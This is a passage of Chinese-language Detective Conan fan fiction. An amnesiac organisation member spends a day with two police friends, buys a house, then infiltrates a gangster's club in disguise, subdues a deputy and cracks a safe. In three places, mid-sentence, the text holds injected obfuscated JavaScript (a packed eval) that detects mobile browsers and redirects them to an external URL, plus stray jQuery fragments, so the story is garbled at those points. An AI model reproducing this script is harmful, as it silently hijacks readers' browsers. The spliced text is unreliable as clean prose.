然而就在第二天清晨,门铃突然响起。当他打开门,顿时愣在了原地。
萩原研二和松田阵平正站在门口。
静间遥瞪大眼睛,一时有些不知所措。
欸……什么……?为什么他们会来?
“哟,今天休息,我们就自作主张过来打扰啦。”萩原研二笑着提起的点心和饮料,还有几张影碟一起晃了晃。
“猜你大概不想出门,这家伙就买了吃的,借了影碟,直接冲过来了。”松田阵平略显无奈地指了指身边的好友。
今天休息?
骗子。
爆处班实行的是轮班制度,这两位爆处组的王牌更是几乎24小时待命。一旦有突发情况,就必须立刻赶回岗位。
恐怕所谓的“休息”只有今天上午而已,所以他们才会这么早来。
静间遥望着特意前来的两人,心中翻涌着复杂的情绪。
他下意识地侧身让他们进了屋,又看着他们放下东西,选片,播放。一部接一部的搞笑电影接连放映。
窗帘被轻轻拉上,室内里漆黑一片,只有电视屏幕还在闪烁着光影。
桌上散落着开封的零食,汽水冒着细密的气泡,发出滋滋的轻响。房间里回荡着电影角色的对白,时不时响起三人此起彼伏的笑声。
静间遥笑得很开心,嘴角扬得很高,眼眶却不由自主地微微发热。
为什么,为什么呢?
为什么会这么开心?
直到临近中午,两人被一个突如其来的紧急电话叫走。
“走了,hagi。雨宫,有事打电话。”
“抱歉啊小雨宫,等下次空了我们再来找你!”
松田阵平拉着萩原研二急匆匆地跑出门,静间遥跟着走到门口,朝他们挥手大喊:
“注意安全!”
走到楼道尽头的两人没有回头,只是也抬手挥了挥作为回应。接着拐进楼梯,彻底不见了身影。
静间遥在门口伫立良久,才缓缓关上门。
他蜷缩回沙发上,呆呆地看着屏幕上还在播放的电影。直到片尾曲响起,他才恍然回神。
他们是警察,是好人,是值得珍惜的朋友。
自私的静间遥,你怎么能就这样靠近他们,怎么能这样接受他们的靠近。
他把脸埋进膝盖。
如果……他们真的是自己的朋友,该有多好。
12. 任务前奏
自从上次两位警官的突然来访后,静间遥想要搬家的念头变得愈发强烈。
但现在原因却有所改变,并非完全是想要远离两位警官。
萩原研二和松田阵平也期盼着他能找到合适的新居。这样的期盼让静间遥如获至宝,并难以辜负。
但又过了一段时,却依然没有进展。这让他有些沮丧。
在静间遥几乎快要妥协,考虑买下一套发生命案、但情节不太惨烈的房子时,上天仿佛听到了他想要搬走的心愿。
一天中午,中介突然打来电话,兴奋地向他推荐了一套刚刚上新的优质房源。
“真的吗?”
当天下午,静间遥就又跑到了中介。他仔细翻阅着中介递过来的房屋详情,越看越是心动。
资料上的照片展示着一栋精致的二层小洋楼,对称的设计显得十分典雅,大门处雕刻着漂亮的浮雕。
最吸引他的,是进门右侧那个小巧别致的水池。
“是的,雨宫先生。”中介脸上堆着热情的笑容,对待这位大客户格外殷勤,“房主因为要移居海外,才舍得出手这套房产。”
“并且最重要的是,这套房子从未发生过任何案件,完美符合您的需求。”
静间遥眼睛一亮:“后天……不,明天就带我去看看吧。”
“没问题,雨宫先生。”
第二天的看房过程十分顺利。
静间遥仔细查看每个房间后,对这套房子越看越满意。
采光良好,布局合理,交通方便,完美符合他的所有期待。虽然部分地方年久失修,需要进行修缮,但这并不是太大的问题。
没有犹豫,他当场就与中介敲定了购买意向。
在回家的路上,静间遥怀着几分欢喜,给松田阵平与萩原研二发了邮件,告诉两人自己终于找到了合适的新居。
他很快就收到了他们的回复:
【恭喜小雨宫找到新家~[礼花][礼花]
我和小阵平已经迫不及待地想去做客啦!
PS:今天和小阵平久违地尝了一下食堂的饭,果然还是不行XP】
【恭喜,总算找到了。
如果需要搬重物或者修理什么的话,可以告诉我们。】
静间遥美滋滋地回复完感谢的话语,一阵浓郁的甜香忽然飘来,吸引了他的注意。
他寻找着味道的来源望去,发现是来自一家新开的蛋糕店。
店门前立着一个小巧的看板,橱窗里成列着各式精巧可人的蛋糕,每一款都造型别致,令人心动。
静间遥不自觉地凑近橱窗,目光被一块黑色的小蛋糕深深吸引。
墨色的奶油均匀地覆盖在小蛋糕表面,上边洒满了雪白的糖霜,还点缀着一个可爱的白色雪人。
透过侧面,可以看到蛋糕夹层中铺着深色的果酱,他猜测那大概是蓝莓口味的。
“先生,要买一个尝尝吗?”店员注意到驻足的他,热情地推荐着,“都是刚刚做好的,非常好吃哦!”
听到店员的话,他的内心有个声音在催促着他:买一个吧!今天可是个值得庆祝的好日子!
他忍不住点点头,买下了那块小蛋糕。
“谢谢惠顾!”
静间遥美滋滋地拎着蛋糕回到家。
他打开包装,拿着叉子挖了一大口送进嘴里,甜腻的味道在口腔中蔓延开。
好甜。
不喜欢。
迷茫在灰蓝的眼中晕染开。
奇怪?那他为什么会买蛋糕?明明直觉告诉他,自己经常会买这类甜食的。
但这样的疑惑却没有持续多久,喜悦的心情再次漫上心头。他刮开奶油,将剩下的蛋糕胚吃了个干净。
再过段时间,他就可以搬进新家了!
然而,还没等到房子修缮完毕,他就再一次收到了任务邮件。
-
静间遥再一次踏入了Mist酒吧。
吸取了上一次迟到的教训,这一次他特地提前乘坐了地铁,到酒吧时比预定的时间早了很多。
夜间的酒吧依旧是气氛火热,炫目的灯光在随着音乐肆意摇晃。
静间遥微微眯起眼,将鸭舌帽又压低了几分。
他灵活地穿过了喧闹的人群,走到了酒吧最里端,打开了尽头的那扇门。
与上次不同的是,这次的会面地点从开放的卡座换到了一间私密的包厢。
包厢里的光线依然昏暗,但空间明显宽敞了不少。深红的丝绒沙发沿墙摆放,空气中弥漫着酒香。
莱伊已经先到了。
静间遥向他微微颔首示意,坐在了他对面的沙发上。拿出手机,开始玩俄罗斯方块。
对于这个组织成员,他并没有什么好说的。
赤井秀一打量着对面的人,对比着他与记忆中田纳西的不同之处。
这个人不像田纳西。
他真正第一次见到田纳西,并非在Mist酒吧,而是在数月前由琴酒指挥的一次大型任务中。
当时,一个大型黑/帮团伙胆大包天地抢走了组织的一批货物。
后来,更甚的是,他们竟然还试图联系警方,想要与组织玉石俱焚。
然而,他们严重低估了组织的庞大与残酷的手段。
作为回应,那次任务规模不断扩大,几乎所有在日本的行动组成员都被调动起来,投入其中。
就连远在美国的田纳西,也被琴酒紧急调回国,参与此次行动。
就在那个黑/帮团伙被逼到绝境,已经奄奄一息时,琴酒接到了一个电话。
电话的内容无人知晓,但那之后,行动目标就发生了突兀的转变:
不再是针对黑/帮,而是转向清剿他们中的卧底。
琴酒在那时念出了一长串的代号,苏格兰就是其中之一。
而杀了苏格兰的,正是田纳西。
夜风中,他与其他成员一起匆匆赶到东京湾时,正看见远处一身黑的田纳西举起了枪。
一声枪响划破夜空,苏格兰胸口中弹,坠入了漆黑的水流之中。
距离太远了,田纳西还戴着鸭舌帽,赤井秀一并没有看清他的面容。
但他确定,坠落的就是苏格兰。
听闻田纳西的枪法很准,那一枪必然命中了心脏。随后田纳西也从容地吹散了枪口的薄烟,甚至远远地朝着他们挥了挥手。
但自那晚以后,田纳西就消失了。
传闻说,他获得了那位先生的赏识。
但赤井秀一却觉得有些奇怪。
获得赏识的行动组成员,会连着消失五个月不做任务吗?
直到不久前,这个举止怪异的“田纳西”突然出现,加入了威士忌组。
五个月来,他遗憾过苏格兰的死亡,也想过如果有机会,他当时或许会想要救下他。
但是上天并没有给他这个机会,他也不会冒着暴露的风险创造这个机会。
而对于杀了苏格兰的田纳西,他更多的是好奇。
他,是一个怎么样的人?
记忆中,田纳西的话很少,整个任务他几乎没有怎么说话。
以至于赤井秀一记得最清楚的,只有耳麦中那一句冷漠的“我找到苏格兰了”。
而那句话的背景音里,夹杂着他人吃痛的闷哼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460639|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,以及几声清晰的枪响。
当时的赤井秀一不禁想:他就像琴酒一样。
抱着这样的好奇,在看到波本的会面邮件后,他特意提早抵达卡座等待。
然而,当赤井秀一经历了那次任务后,他心中不禁浮现了一个疑问:
眼前的这个人,当真就是那个田纳西吗?
是的,他的体术的确很出色。
是的,他和琴酒的熟稔也显而易见。
是的,他的体型也和记忆中的田纳西十分相似。
但是,他的枪法并不好。
但是,他的话比田纳西多。
但是,他杀人不如田纳西果断。
五个月时间,能够让一个人变化这么大吗?
赤井秀一有些犹豫,他暂时不能得出确切的答案。
赤井秀一探询的目光并没有掩饰,大方地盯着对面的人。
静间遥被他看得有些不舒服,皱了皱眉,问:“我脸上有什么东西吗?”
“不,没有。”赤井秀一移开目光,接着又想到了什么,“田纳西你……”
“咔。”
“在聊什么?”安室透推门而入,脸上挂着灿烂的笑容,只是眼底并没有笑意。
赤井秀一闭上了嘴。
静间遥奇怪地看了赤井秀一一眼。
“我”什么?
但赤井秀一明显没有想要再继续说话的样子,静间遥收回了视线,望向安室透。
“前辈。”他扬起笑容,打了个招呼。
安室透颔首,自然地坐在静间遥同边,中间隔着一段距离。
赤井秀一则独自坐在对面,修长的双腿交叠,姿态放松中却又带着几分疏离。
他目光在两人间转了转。
安室透视若无睹。
他如同上次一般,拿出资料分发给他们,然后详细讲述了这次任务内容的细节。
“这一次的任务……”
静间遥低头翻着手中的资料,认真听着安室透的讲述,但心中还是忍不住冒出了一个问号:
既然流程和之前一样,为什么还要特地来包厢?
正当他疑惑之际,既然就听见安室透话锋一转:
“潜入任务仍然由田纳西执行,只是这一次,有一点特殊的着装要求。”
静间遥下意识转头,只见看见安室透从容地从随身包里取出了一套衣服。待他看清衣服样式,不由得难以置信地瞪大了眼。
“……?”
正直、勇敢、善良的降谷零警官!!!!你拿的是什么!!!静间遥在心中无声呐喊。
坐在对面的赤井秀一也打量了一番那套衣服,张了张嘴,最终还是一言不发地移开了视线,不忍再看。
而正直的降谷警官,此刻正挂着属于“安室透”的完美微笑,坦然自若地迎上身旁之人的目光。
他的手中,是一件半透明的黑色纱质衬衫、一条修身的黑色长裤、一条缀满水钻闪着光芒的腰带,以及若干丁零当啷的繁琐首饰。
静间遥迟疑地指了指自己,忍不住向对方确认:“我穿吗?”
安室透微笑地点点头。静间遥脸色倏地白了。
那个笑容依旧迷人,可此刻的静间遥完全无暇欣赏。
他满脑子只余下了一个字:
逃!
脑子里冒出念头的那一刻,他下意识就要起身逃跑。
安室透却立刻发现了他的意图,一只手将他稳稳地摁回沙发里。
他连连摆手,脸上写满了拒绝,却还是被对方强硬地塞进了那套可怕的衣服之中。
穿这种衣服什么的,他绝对不要啊——
13. 潜入(1)
静间遥还是被迫换上了那套装束。
虽然他仍乖巧地坐在沙发上,但他眼中的高光已然消失殆尽,如同死了一般。
经过他的强烈抗议,他没有脱下黑色无袖打底,那条闪瞎眼的腰带和大部分首饰也没有戴上。
但这身衣服就够他受的了。
他的清白啊……他明明是个正直善良的好青年,怎么会沦落至此。
安室透上前为他稍作整理,细致地将刘海梳向一侧。接着他又后退两步,满意地欣赏自己的杰作。
赤井秀一勉强瞥了一眼。却也只是一眼,就彻底闭上了眼。
完全就是黑she会逼迫良家少男的现场。
没眼看。
“前辈,这个潜入任务非要这样不可吗?”静间遥仍然难以接受现实。
他还以为组织的任务无非就是蹲守击杀,可没人跟他说过潜入还需要出卖色相!
安室透脸上荡开无懈可击的笑容:“当然。”
这个决定是他深思熟虑的结果。
本次任务是之前任务的延续,目的是揪住之前泄露芯片存在的那名情报贩子。对方极为狡猾,即便安室透追踪了数日,也难以锁定对方的踪迹。
于是他转变了思路,决定从芯片的买方——泥惨会的中层干部,绵贯辰三身上打开突破口。
买方的信息相对好查了很多,但有些关键情报,必须近身才能获取。
他之前在任务分配时犹豫过,这个潜入环节,他自己可以完成,雨宫裕之也可以完成。
但是绵贯辰三那边还需要一个人来周旋牵制。
不是他不相信雨宫裕之的能力,而是这人一说话就容易破功。
跟老谋深算的泥惨会干部坐下来谈判?根本不可能。
而莱伊需要负责适时的威慑与防止意外,更不能去执行潜入。
于是,这个环节最终还是落在了雨宫裕之的身上。
其实这次任务倒也不是一定要穿这样的衣服,但这样却是最方便的方法。
至少,雨宫裕之最后还是勉强接受了。
静间遥望着镜子里的自己,怎么看都感觉怎么奇怪。他试图调整表情,却始终觉得与这身打扮格格不入。
看着眼前人的神情,安室透忍不住出声指导:“脸上不要有多余的表情。”
听到他的话,静间遥努力绷着一张冰山脸。
安室透静静地注视着静间遥,发觉他敛起所有情绪后,看起来确实唬人了许多。
这样的神情,与资料中那张笑容灿烂的照片截然相反。
雨宫裕之本就长相不错。在昏暗的光线下,那双低垂的桃花眼中只余一片冰凉,就像一柄收入鞘的利刃。
“对,就是这样。”安室透轻轻拍了拍静间遥的肩,“明天记得穿这身来集合。”
包厢门轻声合上,脚步声渐远。
听到波本离去的声音,赤井秀一终于缓缓睁开眼,目光转向对面静坐的田纳西。
只一眼,他就像是被什么闪到似的,立刻眯起了眼。
“其实,你不必事事都听从波本的安排。”
田纳西是获得了那位先生赏识的人。按理来说,他本该与波本平起平坐,甚至地位略高一筹。
但这个田纳西却处处透着反常,仿佛对此毫不知情。
闻言,眼前的田纳西只是抬起眼,回给他一个极淡的微笑,却什么也没说。
-
“诶~绵贯干部好久没来,这就只顾着工作,不打算陪我们玩一会儿吗?”
两位身着旗袍的年轻女性,一左一右依偎着绵贯辰三,脚步轻盈地走在俱乐部灯光昏暗的走廊里。
走廊内偶尔有几人路过,看见绵贯辰三都是低头让路。
绵贯辰三闻言哈哈大笑,粗壮的手臂顺势揽住了两人的腰:“急什么?等我处理完正式,自然会回来找你们的。”
他的面上虽放松自然,但他此时心中却是有些惶惶不安。
今晚可不是寻欢作乐的时候。
不久前,他得知了那个组织正在研发一种特殊的芯片,正当他盘算着如何得手,就发现黑市中已经有人在暗中售卖。
确定消息属实后,他毫不犹豫地开出了一个高价,迅速将芯片买了下来。
但交易当晚,他派去的弟兄竟一个都没有回来。
不祥的预感涌上心头,瞬间将他笼罩。
但他始终没有收到确切的消息,心中仍残留着一丝侥幸。
一连数日,他都是再焦灼不安中度过的。而如今,那个组织的人不知道从哪听到了风声,竟然直接找上了门来。
越往下想,他就越是坐立难安。
那个组织的行事风格像来如此神秘莫测,谁也摸不清他们究竟掌握了多少,也难以知晓他们究竟是何时盯上了自己。
身旁的两位女性失望地娇嗔抱怨着,仍执意要将他送到会客室门口才肯离开。
三人一路说笑,朝着办公室的方向缓步前行。
谈笑间,前方转角处走出一个身形高挑的男人。绵贯辰三漫不经心地瞥去一眼。
那个男人冷着脸,相貌生得清俊,刘海被梳向一侧,露出一双灰蓝色的桃花眼。
他外套一件黑色纱质衬衫,隐约透出衣服下匀称流畅的线条。
那人看到绵贯辰三,立刻侧身退至墙边,微微低下头,姿态谦卑恭敬地让出了道路。
绵贯辰三身旁的两位女性,好奇地打量了他一番,又把目光落回了绵贯辰三的身上。
生得再好看也没用,最后不还是成了男公关。
绵贯辰三在心底冷哼一声,目光不过短暂停留,径直从对方的身前走了过去。
走出一段距离,他对身旁两位女性低声吩咐:“等我进了会客室,你们去顶楼让山田下来一趟。”
“诶……可是山田先生总是板着脸,好吓人啊。”左边的女性低声嘟囔着,“夏奈每次见到他,都害怕地不敢抬头呢。”
右边的女性附和着:“是呀,柚子上次见到山田先生,也是被他那副表情吓了一跳呢。”
“还是绵贯干部好~总是这么亲切。”
绵贯辰三仿佛被她们的反应取悦了,心情颇好地笑了两声:“好吧,那你们就去告诉刚才那个男公关,让他代为传话吧。”
在说笑中,三人总算紧赶慢赶地到了会客室门口。
进门前,绵贯辰三又低声与两位年轻女公关交代了几句话,她们才依依不舍地离去。
绵贯辰三看了眼手表。时间刚好。
他推开门,就看见一位金发深肤的男性姿态闲适地靠在沙发上。
那个男人看起来很年轻,穿着黑色马甲西装,领结上的蓝宝石在灯光下流转辉光。
他一只手随意地搭着椅背,另一只手轻晃着盛了冰球与琥珀色液体的玻璃杯,脸上浮现着若有若无的笑意。
听到开门声,那双灰紫的眼睛缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460640|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓扫了过来。
这就是组织的人吗?
明明面容不如山田凶狠,却是让他隐隐有些害怕。
绵贯辰三干笑着走到那人对面的沙发坐下:“抱歉让您久等了,不知道先生今日前来是……”
他先前虽通过情报贩打探过组织成员的情报,但无论如何也找不出他们的姓名,只隐约知晓他们以酒名为代号。
这个组织太过神秘,如同难以见底的深渊。
现在他不禁有些后悔了。
当初是不是不应该冒险,去招惹这个神秘的组织?
“哦?”
“我还以为,绵贯干部清楚我来的用意……”安室透身体微微前倾,声音中隐含着笑意。
“我是波本,请多指教。”
绵贯辰三被看得心里发毛。
对方的语气虽算得上客气,但他可没在对方的眼中见到半点敬意。更多的,是冰冷的审视。
“波本先生,久仰久仰。”绵贯辰三挤出笑容,想与对方握个手,却扑了个空,只得讪讪地将手缩了回来。
“听闻绵贯干部今日生意兴隆,连一些平常碰不到的‘稀缺货’都能弄到手,真是让人佩服。”
这么听起来倒像是普通的交易开场白。
但是绵贯辰三可不觉得这位“波本”特意前来,只是为了达成一笔普通的交易。
绵贯辰三呵呵一笑,强压下心中不安:“您真是太抬举了,我们不过是做些糊口的小买卖,哪比得上贵组织家大业大……”
“哦?是吗?”安室透轻笑着向后靠进沙发,“我最近倒是听说了些有趣的风声。”
“什么……风声?”
绵贯辰三的心猛地一沉,那点不好的预感再次涌上心头。
“关于前阵子,某样不该出现的‘小东西’。”
“据说买家触手阔绰,一口价成交。只可惜那卖家运气就没那么好了。你可知他后来怎样了?”
波本的笑容让绵贯辰三有些目眩。
果然,之前的事情他们已经知道了。
现在他应该怎么办?山田已经下来了吗?他能等得到吗?要拖延时间。
“我平时不怎么留意这些,这倒头一回听说。”他从肥硕的脸上挤出个笑容,“不知道波本先生可否透露一下,那位卖家如何了?”
“自然是死了。”安室透轻描淡写地说着,脸上的表情很是恣意。
绵贯辰三心里一凉。
果然,最坏的预感成了真。
那场交易失败了。
他那几个兄弟迟迟未归,恐怕早也已遭遇不测。
如今这位“波本”亲自找上门来,意图也再明显不过。
他是来灭口的。
“绵贯干部,有些东西,可不该随便听啊。”看到对方神色的变化,安室透的眼睛倏地变浅,笑意愈浓。
“小心……惹祸上身。”
接着他又轻松地笑了笑,仿佛刚才不过是一句随口的玩笑。
“绵贯干部是聪明人,应该能明白我的意思。”
绵贯辰三脸上笑容彻底僵住,慌忙抬手擦了擦额头的汗:“波本先生,你这话说得我就听不明白了。”
他的大脑飞速运转着。
对方是独自前来,或许……还有一线生机。
这个念头让他稍稍镇定下来。
绵贯辰三感受着的腰间微微隆起的部位。
那里,藏着一把枪。
14. 潜入(2)
夏奈和柚子故作依依不舍,终于同绵贯辰三告别。
柚子挽着夏奈的手臂,听见她轻轻叹了口气。
“太好了,夏奈。”柚子微微一笑,低声说道。
夏奈点了点头。
不用见到山田仁志真是太好了。
过去的她也是在这霓虹灯外,过着寻常人生。
直至某日,她得知父亲欠下了巨额债务,她被迫辍学,沦陷在这声色泥泞之中。
她仍清晰记得,在那个长相凶恶的男人面前,父亲竟然匍匐在地,语气卑微地恳求:
“山田先生,若您同意,请用我女儿来抵债吧!”
那时的夏奈不可置信地瞪大眼。
她不敢相信,母亲过世后,与她相依为命的父亲竟然会说出这样的话。
她的眼泪止不住地滚落下来:“不——父亲!”
“嗯……”山田仁志一挥手,两个手下立刻架起夏奈。他用力捏住了她的脸,像看一件商品般打量了她全身。
“不值这个价啊。不过,倒也能抵一部分了。”
夏奈浑身颤抖,呼吸紊乱,却被限制住行动,完全无法动弹。
声音,已经发不出来了。
当她被山田仁志粗暴地拖走时,她挣扎着回头看去。但她看见的,却是父亲脸上的释然与喜悦。
后来她进入俱乐部,结识了与她命途相似的柚子。两人彼此搀扶,在这片沼泽中艰难求生。
起初,她们不是没有尝试过逃跑。
但每一次她们都被捉来回来,并且遭受了更加可怕的折磨与惩罚。
转眼过去三年,如今她只要看见山田仁志,就会止不住地浑身发抖。
这一次不用见他,实在是万幸。
“是啊,太好了。”夏奈重复之前柚子的话。
柚子会心一笑,拍拍她的手臂,无声地给予安慰。
-
等绵贯辰三不见踪影,静间遥的意识才逐渐回笼。
他抬起头,朝目的地走去。
他的姿态悠闲自若,仿佛一个真正的男公关。
但这身衣服还是让他有些许不适,庆幸的是内里还有一层打底,不至于让这布料直接贴蹭着皮肤,这才勉强他稍微好受了些。
走廊里,暧昧的灯光将地毯染成了模糊的红色,空气中混杂着甜腻的香水味与若有若无的烟酒味。
经过几扇虚掩的门时,隐约的谈笑声与慵懒的爵士乐从门缝中挤了出来。
静间遥不自觉地微微蹙眉。
他绷紧表情,装作对这些声色犬马的景象视若无睹,加快脚步,径直走向通往顶层办公室的楼梯。
“请等一下——!”伴随着高跟鞋敲击着地毯的细响,身后传来女性的呼唤声。
听到脚步声,静间遥判断:
身后总共有两人,并且都是女性。
他脚下一顿。脑海中浮现出安室透那张似笑非笑的脸,以及任务前的嘱咐。
【“如果有人跟你搭话,尽量少说话。”】
【“脸上不必有太多表情,可以带一点微笑,就像我这样。”】
静间遥缓缓转过身,看向来人。
追来的正是刚才陪在绵贯辰三身旁的那两位女性,她们踩着高跟鞋快步走来。
待她们在他面前站定,他才开口:“请问有什么事吗?”
他的嘴角牵起一丝极淡的弧度,看起来亲切又带着一分疏离。
夏奈抬头看静间遥,落入眼前那双含笑的眼睛,一时间竟忘了言语。
三年风月场中,她在早已见惯了形形色色的人,自认为能一眼看穿人的内心。
那些投向她身上的目光,或贪婪,或渴求,或带着居高临下的玩味。
可眼前的这个人却截然不同。
他虽然在笑,却仿佛对周遭的一切,也包括她们,都全然不在意。
他投来的视线里没有轻蔑,没有情欲,更没有那种令人不适的审视。
他只是平淡地看着,如同看待再寻常不过的过客。
这种纯粹的平淡,在灯红酒绿的俱乐部中,反而成了最不寻常的存在。
他仿佛属于这片迷离的夜色,却又格格不入。像是本该站在耀眼阳光下的人,误入了这片不见底的深渊。
他是一个不该出现在这里的人。她的心里莫名出现了这个念头。
“喂,夏奈。”柚子小声唤她,轻轻扯了扯她的袖子。
夏奈倏地回过神,眼前的人还在耐心地等待着她的回话。
她脸上重新挂回职业性的笑容,说道:“麻烦你到顶楼帮忙传个话,请山田先生尽快来会客室一趟。”
眼前的男公关微微颔首:“我明白了。”
“走吧。”柚子轻声说着,挽起她的手臂打算离开。
但夏奈的目光却始终无法从那将要离去的背影移开。
某种陌生的情感在她心底涌动,还未来得及思考,话语便已经脱口而出:
“等等——”
柚子有些惊讶地看向她,那位男公关也闻声回过头,投来询问的目光。
还有什么事吗?静间遥心中有些疑惑。
【“尽量少说话。”】
静间遥还记得安室透的嘱咐,他没有开口,只是面上维持着微笑。
“你是……”夏奈再次望向他那双含笑却疏离的眼睛,内心挣扎片刻,话到嘴边又咽了回去。
她最终只是扬起一个勉强的笑容,轻声道:“抱歉,没有其他事了。”
静间遥微微偏头,睫毛轻颤,流露出一丝不解,却也只是温声回应:
“好。”
望着他再次转身离去的背影,一阵莫名的失落感漫上了夏奈的心头。
究竟在失落什么?连她自己也说不清。
柚子看着她怅然若失的神情,轻轻叹了口气。她伸手将夏奈揽入怀中,一下一下地轻抚着她的背。
夏奈依靠在柚子的肩膀,一阵酸楚涌上了她的心头。
她觉得自己此刻应该哭出来。但眼眶干涩,那温热的液体却迟迟没有出现。
她好像已经哭不出来了。
-
山田仁志伫立在办公桌旁,熟练地将手中的枪组装完毕。他拿起枪左右细细打量,确保枪的每一个部件都没有问题。
就在这时,门外传来两声叩门声。
他动作一顿,双手下垂。
这个时间点,谁会来找他?
“进。”
门应声打开。山田仁志抬起头,看见一个穿得有些清凉的男公关站在门口,不由得蹙起眉头。
“什么事?”他的语气中带着些许的不耐烦。
和这种人说话,多说一句他都觉得浪费时间。
那名男公关合上门,上前两步,在他面前微微欠身,姿态恭敬地说道:“绵贯干部请您尽快去会客室一趟。”
山田仁志顿时了然。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460641|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今天是绵贯干部见那个神秘组织成员的日子,此刻叫他过去,多半是为了以防万一。
“知道了,我马上就去。”他说完,想等对方先退出去,自己好戴上弹匣再动身。
然而眼前的男公关却仍然一动不动的站在原地。
山田仁志的眉头皱得更紧,心中的疑虑悄然升起:“还有什么事吗?”
“有的,绵贯干部还特意交代……”
男公关的话语未落,山田仁志就感到持枪的手猛地一麻。
他尚未来得及反应,手中的枪已经脱手飞去,“啪”一声摔在地上。
几乎同一瞬间,男公关——静间遥已贴身到山田仁志的面前。山田仁志的反应极快,左手握拳直击对方的咽喉,却被静间遥侧身轻巧地躲过。
与此同时,静间遥上勾拳猛攻他的腹部,山田仁志闷哼一声,忍痛借势后退,企图拉开距离去捡枪。
不好!
枪一响,肯定会惊动其他人!
没有丝毫犹豫,静间遥飞身向前,一记扫腿直攻对方下盘。山田仁志一个踉跄,还未稳住身形,又被对方扣住手臂,一个利落的过肩摔将他摔向了地面!
山田仁志被摔得晕头转向,一时难以动弹。
静间遥趁机迅速抄起地上的手/枪,快速退出了弹匣——
空的。
原来是虚张声势?
他抬眼刹那,正看见山田仁志挣扎着起身,想继续反攻。
静间遥毫不犹豫地一脚死死踩住他的一只手,同时膝盖重压抵住他的后背,将另一只手反拧在他的身后。
他低垂着眼眸,那片灰蓝中再无先前伪装出的恭敬,只余下无机质的冷意。
山田仁志。绵贯辰三的得力副手,以不错的身手与辛辣的手段在泥惨会中立足。
【“如果山田仁志也在办公室,那就解决他。”】
不能让他下去,会影响降谷零的计划。
“你到底是谁?”山田仁志的脸被紧紧按在地上,面露狰狞却又难以反抗。
这身手,可不是男公关该拥有的。
他的心里早已有了一个答案:是那个组织的杀手。
【“尽量少说话。”】
面对质问,静间遥本不想回答。
但那两位女士一闪而过的哀伤与无奈,她们的强颜欢笑,以及在奢华的外表下逐渐麻木的眼神,不受控制地在他的脑海中重现。
就是眼前这样的人,就是这样的地方,用最肮脏的手段,将鲜活的生命软禁在了这虚有其表的牢笼之中。
并不是她们不想逃走,只是这个地方如同深不见底的沼泽,越是挣扎,就越深陷其中。
必须要有人伸出手,将她们拉出来。哪怕只是一点微不足道的力量。
想要为她们做点什么。
这样的想法在静间遥的心中浮现,然后就一发不可收拾地疯长。
他虽失去了记忆,却清楚地知道,自己的这双手也并非清白。身为犯罪组织的成员,他始终渴望着阳光,却又不得不站在阴影之中。
这样的自己,究竟能够做些什么?
唯一能做的,大概就是尽可能地为她们斩断一丝缠绕的枷锁吧。
“是来杀你的人。”他冷声回应,同时抽出自己那把加装了消音器的手/枪。
在山田仁志满是惊恐的目光中,在他的哀嚎挣脱喉咙之前,一声轻微的闷响后,世界重归平静。
15. 潜入(3)
静间遥眨眼,低头看了看瘫倒在地的人,空气中还弥漫着一股骚味。
刚才自己的那句话是不是太像反派了?这家伙该不会真以为自己要没命了吧?
他只是不过顺势放了个狠话,然后用枪托砸晕了对方而已。
降谷零又没说要灭口。
他猜测,降谷零大概是想借此机会一举端了这个窝点。
而且是由公安那边进行,并不是组织这边。
这样也好,死得太痛快反而便宜了山田仁志。
活着的山田仁志,才是好山田仁志。只有如此,他才能站上法庭,才能真正把牢底坐穿。
这样,才算是物尽其用。
静间遥利索地抽出山田仁志的腰带,将对方双手牢牢反捆在身后。
至于裤子?
掉了就掉了吧,总比丢了命好。
他嫌弃地用脚尖将山田仁志翻了个面,瞥了一眼那摇摇欲坠的裤子,心中毫无心理负担地想。
静间遥掏出口袋里的手套戴上,锁上了门,目光投向办公桌后那副厚重的山水油画上。
他的任务不止是制服山田仁志。
【“你要找的文件有两份:一份是和泥惨会合作的公司资料,另一份是他们获得的情报。”】
【“根据绵贯辰三的习惯,他会把这些文件放在办公桌后那幅画藏着的保险箱中。”】
【“对了,你会开保险箱吗?”】
他小心移开了那幅油画,露出镶嵌在墙体内的金属保险箱。他单膝跪地,一手扶着箱面,另一手缓慢转动旋钮。
一片沉寂之中,他全神贯注地捕捉着锁芯内部都每一丝细微声响,呼吸也随之放缓。
“咔。”
一声轻响,箱门应声弹开。
他拿出里面的存放的物品,借着灯光快速翻找内部的物品。除了安室透需要的文件,里面竟然还有几份额外的档案。
他随手翻开最上方的一份,里面详细记录着数名人员的行踪轨迹和行为分析报考。
每一份资料的角落,都贴着一张偷拍的照片。
